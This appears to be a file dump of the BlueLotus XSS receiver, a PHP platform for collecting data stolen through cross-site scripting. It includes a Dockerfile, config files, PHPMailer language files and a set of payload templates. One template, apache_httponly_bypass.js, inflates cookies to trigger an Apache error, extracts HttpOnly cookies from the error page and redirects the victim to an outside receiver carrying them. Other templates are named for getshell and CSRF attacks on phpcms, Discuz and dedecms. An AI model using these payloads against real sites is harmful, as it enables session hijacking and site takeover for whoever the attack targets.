├── .htaccess ├── PHPMailer ├── VERSION ├── composer.json ├── language │ ├── phpmailer.lang-zh_cn.php │ ├── phpmailer.lang-zh.php │ ├── phpmailer.lang-ch.php │ ├── phpmailer.lang-ko.php │ ├── phpmailer.lang-he.php │ ├── phpmailer.lang-ja.php │ ├── phpmailer.lang-nb.php │ ├── phpmailer.lang-lv.php │ ├── phpmailer.lang-cs.php │ ├── phpmailer.lang-sv.php │ ├── phpmailer.lang-vi.php │ ├── phpmailer.lang-da.php │ ├── phpmailer.lang-lt.php │ ├── phpmailer.lang-fo.php │ ├── phpmailer.lang-nl.php │ ├── phpmailer.lang-eo.php │ ├── phpmailer.lang-az.php │ ├── phpmailer.lang-hu.php │ ├── phpmailer.lang-ar.php │ ├── phpmailer.lang-sk.php │ ├── phpmailer.lang-fa.php │ ├── phpmailer.lang-be.php │ ├── phpmailer.lang-am.php │ ├── phpmailer.lang-ca.php │ ├── phpmailer.lang-tr.php │ ├── phpmailer.lang-bg.php │ ├── phpmailer.lang-es.php │ ├── phpmailer.lang-sl.php │ ├── phpmailer.lang-fi.php │ ├── phpmailer.lang-et.php │ ├── phpmailer.lang-ro.php │ ├── phpmailer.lang-gl.php │ ├── phpmailer.lang-sr.php │ ├── phpmailer.lang-hr.php │ ├── phpmailer.lang-ms.php │ ├── phpmailer.lang-de.php │ ├── phpmailer.lang-id.php │ ├── phpmailer.lang-pl.php │ ├── phpmailer.lang-el.php │ ├── phpmailer.lang-ru.php │ ├── phpmailer.lang-ka.php │ ├── phpmailer.lang-uk.php │ ├── phpmailer.lang-it.php │ ├── phpmailer.lang-pt_br.php │ ├── phpmailer.lang-pt.php │ └── phpmailer.lang-fr.php ├── extras │ ├── README.md │ └── EasyPeasyICS.php ├── PHPMailerAutoload.php ├── class.phpmaileroauthgoogle.php └── get_oauth_token.php ├── data ├── forbiddenIPList.dat ├── index.html └── .htaccess ├── template ├── alert.js ├── alert.desc ├── index.html ├── xss.desc ├── phpcms v9 getshell.desc ├── qibocms.desc ├── .htaccess ├── default.desc ├── CMSPHP3.0.desc ├── apache_httponly_bypass.desc ├── Discuz! CSRF.desc ├── screenshot.desc ├── dedecms.desc ├── default.js ├── CMSPHP3.0.js ├── dedecms.js ├── apache_httponly_bypass.js ├── qibocms.js ├── Discuz! CSRF.js ├── phpcms v9 getshell.js └── xss.js ├── diff ├── index.html ├── jqxgrid.selection.js.diff └── jqxgrid.js.diff ├── guide ├── index.html ├── info.png ├── login.png ├── myjs.png ├── xssor.png ├── base64.png ├── editor.png ├── install.png ├── search.png ├── jstemplate.png ├── mainpanel.png └── newmessage.png ├── myjs ├── copyright.desc ├── index.html ├── copyright.js └── .htaccess ├── src ├── js │ ├── pass_is_wrong.js │ ├── getTheme.js │ ├── theme-chrome.js │ ├── notification.js │ └── jqxgrid.sort.js └── css │ ├── login.css │ └── notification.css ├── robots.txt ├── static ├── css │ ├── index.html │ ├── login.min.css │ ├── notification.min.css │ ├── install.min.css │ └── main.min.css ├── index.html ├── js │ ├── index.html │ ├── pass_is_wrong.js │ ├── ZeroClipboard.swf │ ├── getTheme.min.js │ ├── jsmin.min.js │ ├── localization.min.js │ ├── theme-chrome.js │ ├── notification.min.js │ └── login.min.js ├── fonts │ ├── index.html │ ├── icomoon.eot │ ├── icomoon.ttf │ ├── icomoon.woff │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ └── icomoon.svg └── images │ ├── index.html │ ├── add.png │ ├── drag.png │ ├── help.png │ ├── logo.png │ ├── mail.png │ ├── avatar.png │ ├── banner.png │ ├── clear.png │ ├── close.png │ ├── delete.png │ ├── filter.png │ ├── icon-up.png │ ├── js_icon.png │ ├── loader.gif │ ├── refresh.png │ ├── search.png │ ├── sortasc.png │ ├── bluelotus.png │ ├── icon-down.png │ ├── icon-edit.png │ ├── icon-last.png │ ├── icon-left.png │ ├── icon-save.png │ ├── icon-time.png │ ├── sortdesc.png │ ├── dragcancel.png │ ├── icon-cancel.png │ ├── icon-delete.png │ ├── icon-first.png │ ├── icon-right.png │ ├── sortremove.png │ ├── icon-calendar.png │ ├── notify_letter.png │ ├── office-icon-up.png │ ├── icon-recurrence.png │ ├── office-icon-down.png │ ├── office-icon-left.png │ ├── office-icon-right.png │ └── icon-menu-minimized.png ├── qqwry.dat ├── docker-compose.yml ├── .gitignore ├── load.php ├── logout.php ├── run.sh ├── waf.php ├── auth.php ├── config-sample.php ├── Dockerfile ├── mail.php ├── index.php ├── rc4.php ├── login.php └── keepsession.php /.htaccess: -------------------------------------------------------------------------------- 1 | Options -Indexes -------------------------------------------------------------------------------- /PHPMailer/VERSION: -------------------------------------------------------------------------------- 1 | 5.2.22 2 | -------------------------------------------------------------------------------- /data/forbiddenIPList.dat: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /template/alert.js: -------------------------------------------------------------------------------- 1 | alert("xss"); -------------------------------------------------------------------------------- /data/index.html: -------------------------------------------------------------------------------- 1 | Boom has been planted! -------------------------------------------------------------------------------- /diff/index.html: -------------------------------------------------------------------------------- 1 | Boom has been planted! -------------------------------------------------------------------------------- /guide/index.html: -------------------------------------------------------------------------------- 1 | Boom has been planted! -------------------------------------------------------------------------------- /myjs/copyright.desc: -------------------------------------------------------------------------------- 1 | syO5RRHIMbW3QFs5 -------------------------------------------------------------------------------- /myjs/index.html: -------------------------------------------------------------------------------- 1 | Boom has been planted! -------------------------------------------------------------------------------- /src/js/pass_is_wrong.js: -------------------------------------------------------------------------------- 1 | alert("密码错误!"); -------------------------------------------------------------------------------- /template/alert.desc: -------------------------------------------------------------------------------- 1 | sRaIRS3NMqOMTmwi -------------------------------------------------------------------------------- /robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: / -------------------------------------------------------------------------------- /static/css/index.html: -------------------------------------------------------------------------------- 1 | Boom has been planted! -------------------------------------------------------------------------------- /static/index.html: -------------------------------------------------------------------------------- 1 | Boom has been planted! -------------------------------------------------------------------------------- /static/js/index.html: -------------------------------------------------------------------------------- 1 | Boom has been planted! -------------------------------------------------------------------------------- /static/js/pass_is_wrong.js: -------------------------------------------------------------------------------- 1 | alert("密码错误!"); -------------------------------------------------------------------------------- /template/index.html: -------------------------------------------------------------------------------- 1 | Boom has been planted! -------------------------------------------------------------------------------- /static/fonts/index.html: -------------------------------------------------------------------------------- 1 | Boom has been planted! -------------------------------------------------------------------------------- /static/images/index.html: -------------------------------------------------------------------------------- 1 | Boom has been planted! -------------------------------------------------------------------------------- /template/xss.desc: -------------------------------------------------------------------------------- 1 | sBKxRzbQMa6/QVcft4M3sVX0YfSo -------------------------------------------------------------------------------- /data/.htaccess: -------------------------------------------------------------------------------- 1 | Options -Indexes 2 | deny from all 3 | -------------------------------------------------------------------------------- /myjs/copyright.js: -------------------------------------------------------------------------------- 1 | alert("Powered by 火日攻天@Firesun"); -------------------------------------------------------------------------------- /qqwry.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/qqwry.dat -------------------------------------------------------------------------------- /template/phpcms v9 getshell.desc: -------------------------------------------------------------------------------- 1 | sSyoRzTLMZmiTmwqAGzoI5gm8EdPkHxHNNbLpNztso7XxohHcvZa -------------------------------------------------------------------------------- /guide/info.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/guide/info.png -------------------------------------------------------------------------------- /guide/login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/guide/login.png -------------------------------------------------------------------------------- /guide/myjs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/guide/myjs.png -------------------------------------------------------------------------------- /guide/xssor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/guide/xssor.png -------------------------------------------------------------------------------- /guide/base64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/guide/base64.png -------------------------------------------------------------------------------- /guide/editor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/guide/editor.png -------------------------------------------------------------------------------- /guide/install.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/guide/install.png -------------------------------------------------------------------------------- /guide/search.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/guide/search.png -------------------------------------------------------------------------------- /guide/jstemplate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/guide/jstemplate.png -------------------------------------------------------------------------------- /guide/mainpanel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/guide/mainpanel.png -------------------------------------------------------------------------------- /guide/newmessage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/guide/newmessage.png -------------------------------------------------------------------------------- /myjs/.htaccess: -------------------------------------------------------------------------------- 1 | 2 | Order allow,deny 3 | Allow from all 4 | 5 | deny from all -------------------------------------------------------------------------------- /template/qibocms.desc: -------------------------------------------------------------------------------- 1 | vRehRgHRt3t0Q0kXCH7FsG3Ta9WzH5gAbtKZ7sqHeW7fz49CY/dFv1FX9nvnGOViFGX0+Ejdfh6CGOXRIQ== -------------------------------------------------------------------------------- /static/images/add.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/add.png -------------------------------------------------------------------------------- /static/images/drag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/drag.png -------------------------------------------------------------------------------- /static/images/help.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/help.png -------------------------------------------------------------------------------- /static/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/logo.png -------------------------------------------------------------------------------- /static/images/mail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/mail.png -------------------------------------------------------------------------------- /template/.htaccess: -------------------------------------------------------------------------------- 1 | 2 | Order allow,deny 3 | Allow from all 4 | 5 | deny from all -------------------------------------------------------------------------------- /static/fonts/icomoon.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/fonts/icomoon.eot -------------------------------------------------------------------------------- /static/fonts/icomoon.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/fonts/icomoon.ttf -------------------------------------------------------------------------------- /static/fonts/icomoon.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/fonts/icomoon.woff -------------------------------------------------------------------------------- /static/images/avatar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/avatar.png -------------------------------------------------------------------------------- /static/images/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/banner.png -------------------------------------------------------------------------------- /static/images/clear.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/clear.png -------------------------------------------------------------------------------- /static/images/close.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/close.png -------------------------------------------------------------------------------- /static/images/delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/delete.png -------------------------------------------------------------------------------- /static/images/filter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/filter.png -------------------------------------------------------------------------------- /static/images/icon-up.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-up.png -------------------------------------------------------------------------------- /static/images/js_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/js_icon.png -------------------------------------------------------------------------------- /static/images/loader.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/loader.gif -------------------------------------------------------------------------------- /static/images/refresh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/refresh.png -------------------------------------------------------------------------------- /static/images/search.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/search.png -------------------------------------------------------------------------------- /static/images/sortasc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/sortasc.png -------------------------------------------------------------------------------- /template/default.desc: -------------------------------------------------------------------------------- 1 | vSqrSzPMrGV0Q207CVj0smLvYvWTH5Ysbs6V7t2x/bM4S2uy5BiEPrEPr3iUUvMLUWsvfL8M8/ZjkzQ0p4t4GqronIdNBSEz -------------------------------------------------------------------------------- /static/images/bluelotus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/bluelotus.png -------------------------------------------------------------------------------- /static/images/icon-down.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-down.png -------------------------------------------------------------------------------- /static/images/icon-edit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-edit.png -------------------------------------------------------------------------------- /static/images/icon-last.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-last.png -------------------------------------------------------------------------------- /static/images/icon-left.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-left.png -------------------------------------------------------------------------------- /static/images/icon-save.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-save.png -------------------------------------------------------------------------------- /static/images/icon-time.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-time.png -------------------------------------------------------------------------------- /static/images/sortdesc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/sortdesc.png -------------------------------------------------------------------------------- /static/js/ZeroClipboard.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/js/ZeroClipboard.swf -------------------------------------------------------------------------------- /static/images/dragcancel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/dragcancel.png -------------------------------------------------------------------------------- /static/images/icon-cancel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-cancel.png -------------------------------------------------------------------------------- /static/images/icon-delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-delete.png -------------------------------------------------------------------------------- /static/images/icon-first.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-first.png -------------------------------------------------------------------------------- /static/images/icon-right.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-right.png -------------------------------------------------------------------------------- /static/images/sortremove.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/sortremove.png -------------------------------------------------------------------------------- /static/images/icon-calendar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-calendar.png -------------------------------------------------------------------------------- /static/images/notify_letter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/notify_letter.png -------------------------------------------------------------------------------- /static/images/office-icon-up.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/office-icon-up.png -------------------------------------------------------------------------------- /static/images/icon-recurrence.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-recurrence.png -------------------------------------------------------------------------------- /static/images/office-icon-down.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/office-icon-down.png -------------------------------------------------------------------------------- /static/images/office-icon-left.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/office-icon-left.png -------------------------------------------------------------------------------- /static/images/office-icon-right.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/office-icon-right.png -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.0' 2 | services: 3 | bluelotus: 4 | build: . 5 | restart: always 6 | ports: 7 | - "10080:80" -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /static/images/icon-menu-minimized.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/BlueLotus_XSSReceiver/master/static/images/icon-menu-minimized.png -------------------------------------------------------------------------------- /template/CMSPHP3.0.desc: -------------------------------------------------------------------------------- 1 | vB+1RRrSMbKDQ0wYl6MXuEHZbM6ZHYM5bcqgeDFjfHzox4lTZ+t0vkvVJqvlLM1gCXF7IahbgvQF9BiJfRbygm0ZGkekiejXfxWygHQDSRbkdNFxDggT -------------------------------------------------------------------------------- /template/apache_httponly_bypass.desc: -------------------------------------------------------------------------------- 1 | sSKYRBjjtWZmxavSz6MBJYsw9klXnW3MqDZHZjN+MjeFl9XSrwTAXL1R02fnP9WplAAkFxeMJoxpym44zsx9R+LheQ2l1CAiOlfuCYL+SRH5d9RwAT0KpxkU/vZY -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | _Store 2 | node_modules/ 3 | .idea 4 | .vscode 5 | # Editor directories and files 6 | .idea 7 | *.suo 8 | *.ntvs* 9 | *.njsproj 10 | *.sln 11 | 12 | -------------------------------------------------------------------------------- /template/Discuz! CSRF.desc: -------------------------------------------------------------------------------- 1 | EMNCwPkx9TYn5ZDlqfBEslnYYeGJHLcLb/qv5OaG+4o5SVqZ6hSCM5Eirk6LU9gmU0Qek8YzlINj/+DMO1Xm3SoQnptHAC94I0KuA4f0ztsevD2nlMGjrB8R9PxW4oZzty8EZq1e0g0NM2NWEXf4gQ== -------------------------------------------------------------------------------- /template/screenshot.desc: -------------------------------------------------------------------------------- 1 | vCSGRjLcMp+HTm0IBkfKsGfRY9SuEa0db8Cq7dKg95QKQVu75iiNsl7MK81g1hDggtB4JbVbtuoE5gxe2Zw5TooZkJtWi8DmJlP1F9SogknZALl/f0ISdJPmFbDSN2Bk9T0U7kuyGfzYLW8KHGb7ngQorzZEfw== -------------------------------------------------------------------------------- /load.php: -------------------------------------------------------------------------------- 1 | '; 22 | xmlhttp.open("POST", url, true); 23 | xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 24 | xmlhttp.setRequestHeader("Content-length", params.length); 25 | xmlhttp.setRequestHeader("Connection", "Keep-Alive"); 26 | 27 | xmlhttp.send(params); -------------------------------------------------------------------------------- /config-sample.php: -------------------------------------------------------------------------------- 1 | &B1=++%E4%BF%9D+%E5%AD%98++"; 27 | xmlhttp.open("POST", url, true); 28 | xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 29 | xmlhttp.setRequestHeader("Content-length", varparams.length); 30 | xmlhttp.setRequestHeader("Connection", "Keep-Alive"); 31 | xmlhttp.send(varparams); 32 | } -------------------------------------------------------------------------------- /PHPMailer/composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "phpmailer/phpmailer", 3 | "type": "library", 4 | "description": "PHPMailer is a full-featured email creation and transfer class for PHP", 5 | "authors": [ 6 | { 7 | "name": "Marcus Bointon", 8 | "email": "phpmailer@synchromedia.co.uk" 9 | }, 10 | { 11 | "name": "Jim Jagielski", 12 | "email": "jimjag@gmail.com" 13 | }, 14 | { 15 | "name": "Andy Prevost", 16 | "email": "codeworxtech@users.sourceforge.net" 17 | }, 18 | { 19 | "name": "Brent R. Matzelle" 20 | } 21 | ], 22 | "require": { 23 | "php": ">=5.0.0" 24 | }, 25 | "require-dev": { 26 | "phpdocumentor/phpdocumentor": "*", 27 | "phpunit/phpunit": "4.7.*" 28 | }, 29 | "suggest": { 30 | "league/oauth2-google": "Needed for Google XOAUTH2 authentication" 31 | }, 32 | "autoload": { 33 | "classmap": [ 34 | "class.phpmailer.php", 35 | "class.phpmaileroauth.php", 36 | "class.phpmaileroauthgoogle.php", 37 | "class.smtp.php", 38 | "class.pop3.php", 39 | "extras/EasyPeasyICS.php", 40 | "extras/ntlm_sasl_client.php" 41 | ] 42 | }, 43 | "license": "LGPL-2.1" 44 | } 45 | -------------------------------------------------------------------------------- /diff/jqxgrid.selection.js.diff: -------------------------------------------------------------------------------- 1 | diff --git a/jqxgrid.selection.js b/jqxgrid.selection.js 2 | index 2fe844f..3cda160 100644 3 | --- a/jqxgrid.selection.js 4 | +++ b/jqxgrid.selection.js 5 | @@ -1398,16 +1398,17 @@ License: http://jqwidgets.com/license/ 6 | if (A.altKey) { 7 | return true 8 | } 9 | + /* 10 | if (A.ctrlKey || A.metaKey) { 11 | if (this.clipboard) { 12 | var b = String.fromCharCode(H).toLowerCase(); 13 | if (this.clipboardbegin) { 14 | var j = null; 15 | if (b == "c") { 16 | j = this.clipboardbegin("copy", this.copyselection()) 17 | } else { 18 | if (b == "x") { 19 | j = this.clipboardbegin("cut", this.copyselection()) 20 | } else { 21 | if (b == "v") { 22 | j = this.clipboardbegin("paste") 23 | @@ -1488,6 +1489,7 @@ License: http://jqwidgets.com/license/ 24 | } 25 | } 26 | } 27 | + */ 28 | var n = Math.round(t._gettableheight()); 29 | var y = Math.round(n / t.rowsheight); 30 | var f = t.getdatainformation(); 31 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN apt-get update && \ 4 | DEBIAN_FRONTEND=noninteractive \ 5 | apt-get -yq install \ 6 | curl \ 7 | git \ 8 | apache2 \ 9 | libapache2-mod-php7.0 \ 10 | php7.0-mcrypt \ 11 | php7.0 && \ 12 | rm -rf /var/lib/apt/lists/* && \ 13 | curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer 14 | 15 | RUN /usr/sbin/phpenmod mcrypt 16 | RUN echo "ServerName localhost" >> /etc/apache2/apache2.conf && \ 17 | sed -i "s/variables_order.*/variables_order = \"EGPCS\"/g" /etc/php/7.0/apache2/php.ini 18 | 19 | ENV ALLOW_OVERRIDE **False** 20 | 21 | ADD run.sh /run.sh 22 | 23 | RUN chmod 755 /*.sh 24 | 25 | RUN mkdir -p /app && rm -fr /var/www/html && ln -s /app /var/www/html 26 | 27 | RUN git clone https://github.com/firesunCN/BlueLotus_XSSReceiver.git --depth 1 /app/tmp/ && \ 28 | mv /app/tmp/* /app/ && \ 29 | rm -fr /app/tmp/ && \ 30 | mv /app/config-sample.php /app/config.php && \ 31 | pass=`php -r '$salt="!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl";$key="bluelotus";$key=md5($salt.$key.$salt);$key=md5($salt.$key.$salt);$key=md5($salt.$key.$salt);echo $key;'`;sed -i "s/2a05218c7aa0a6dbd370985d984627b8/$pass/g" /app/config.php && \ 32 | rm -fr /app/diff && \ 33 | rm -fr /app/guide && \ 34 | rm -fr /app/src 35 | 36 | EXPOSE 80 37 | 38 | WORKDIR /app 39 | 40 | CMD ["/run.sh"] 41 | -------------------------------------------------------------------------------- /PHPMailer/language/phpmailer.lang-zh_cn.php: -------------------------------------------------------------------------------- 1 | 6 | * @author young 7 | */ 8 | 9 | $PHPMAILER_LANG['authenticate'] = 'SMTP 错误:登录失败。'; 10 | $PHPMAILER_LANG['connect_host'] = 'SMTP 错误:无法连接到 SMTP 主机。'; 11 | $PHPMAILER_LANG['data_not_accepted'] = 'SMTP 错误:数据不被接受。'; 12 | $PHPMAILER_LANG['empty_message'] = '邮件正文为空。'; 13 | $PHPMAILER_LANG['encoding'] = '未知编码: '; 14 | $PHPMAILER_LANG['execute'] = '无法执行:'; 15 | $PHPMAILER_LANG['file_access'] = '无法访问文件:'; 16 | $PHPMAILER_LANG['file_open'] = '文件错误:无法打开文件:'; 17 | $PHPMAILER_LANG['from_failed'] = '发送地址错误:'; 18 | $PHPMAILER_LANG['instantiate'] = '未知函数调用。'; 19 | $PHPMAILER_LANG['invalid_address'] = '发送失败,电子邮箱地址是无效的:'; 20 | $PHPMAILER_LANG['mailer_not_supported'] = '发信客户端不被支持。'; 21 | $PHPMAILER_LANG['provide_address'] = '必须提供至少一个收件人地址。'; 22 | $PHPMAILER_LANG['recipients_failed'] = 'SMTP 错误:收件人地址错误:'; 23 | $PHPMAILER_LANG['signing'] = '登录失败:'; 24 | $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP服务器连接失败。'; 25 | $PHPMAILER_LANG['smtp_error'] = 'SMTP服务器出错: '; 26 | $PHPMAILER_LANG['variable_set'] = '无法设置或重置变量:'; 27 | //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; 28 | -------------------------------------------------------------------------------- /template/apache_httponly_bypass.js: -------------------------------------------------------------------------------- 1 | var website="http://网站地址"; 2 | function setCookies() { 3 | /*apache server limit 8192*/ 4 | var str = ""; 5 | for (var i = 0; i < 819; i++) { 6 | str += "x"; 7 | } 8 | for (i = 0; i < 10; i++) { 9 | var cookie = "ray" + i + "=" + str + ";path=/"; 10 | document.cookie = cookie; 11 | } 12 | } 13 | 14 | function parseCookies() { 15 | if (xhr.readyState === 4 && xhr.status === 400) { 16 | var content = xhr.responseText.replace(/\r|\n/g, '').match(/
(.+)<\/pre>/);
17 |         content = content[1].replace("Cookie: ", "");
18 |         cookies = content.replace(/ray\d=x+;?/g, '')
19 |         try {
20 |             var myopener = '';
21 |             myopener = window.parent.openner.location;
22 |             var myparent = '';
23 |             myparent = window.parent.location;
24 |         } catch (err) {
25 |             myopener = '0';
26 |             myparent = '0';
27 |         }
28 |         window.location = website + '/index.php?location=' + escape(document.location) + '&toplocation=' + escape(myparent) + '&cookie=' + escape(cookies) + '&opener=' + escape(myopener);
29 |     }
30 | }
31 | 
32 | setCookies();
33 | var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
34 | xhr.onreadystatechange = parseCookies;
35 | xhr.open("POST", "/?" + Math.random(), true);
36 | xhr.send(null);


--------------------------------------------------------------------------------
/PHPMailer/language/phpmailer.lang-zh.php:
--------------------------------------------------------------------------------
 1 | 
 6 |  * @author Peter Dave Hello <@PeterDaveHello/>
 7 |  * @author Jason Chiang 
 8 |  */
 9 | 
10 | $PHPMAILER_LANG['authenticate']         = 'SMTP 錯誤:登入失敗。';
11 | $PHPMAILER_LANG['connect_host']         = 'SMTP 錯誤:無法連線到 SMTP 主機。';
12 | $PHPMAILER_LANG['data_not_accepted']    = 'SMTP 錯誤:無法接受的資料。';
13 | $PHPMAILER_LANG['empty_message']        = '郵件內容為空';
14 | $PHPMAILER_LANG['encoding']             = '未知編碼: ';
15 | $PHPMAILER_LANG['execute']              = '無法執行:';
16 | $PHPMAILER_LANG['file_access']          = '無法存取檔案:';
17 | $PHPMAILER_LANG['file_open']            = '檔案錯誤:無法開啟檔案:';
18 | $PHPMAILER_LANG['from_failed']          = '發送地址錯誤:';
19 | $PHPMAILER_LANG['instantiate']          = '未知函數呼叫。';
20 | $PHPMAILER_LANG['invalid_address']      = '因為電子郵件地址無效,無法傳送: ';
21 | $PHPMAILER_LANG['mailer_not_supported'] = '不支援的發信客戶端。';
22 | $PHPMAILER_LANG['provide_address']      = '必須提供至少一個收件人地址。';
23 | $PHPMAILER_LANG['recipients_failed']    = 'SMTP 錯誤:以下收件人地址錯誤:';
24 | $PHPMAILER_LANG['signing']              = '電子簽章錯誤: ';
25 | $PHPMAILER_LANG['smtp_connect_failed']  = 'SMTP 連線失敗';
26 | $PHPMAILER_LANG['smtp_error']           = 'SMTP 伺服器錯誤: ';
27 | $PHPMAILER_LANG['variable_set']         = '無法設定或重設變數: ';
28 | $PHPMAILER_LANG['extension_missing']    = '遺失模組 Extension: ';
29 | 


--------------------------------------------------------------------------------
/PHPMailer/language/phpmailer.lang-ch.php:
--------------------------------------------------------------------------------
 1 | 
 6 |  */
 7 | 
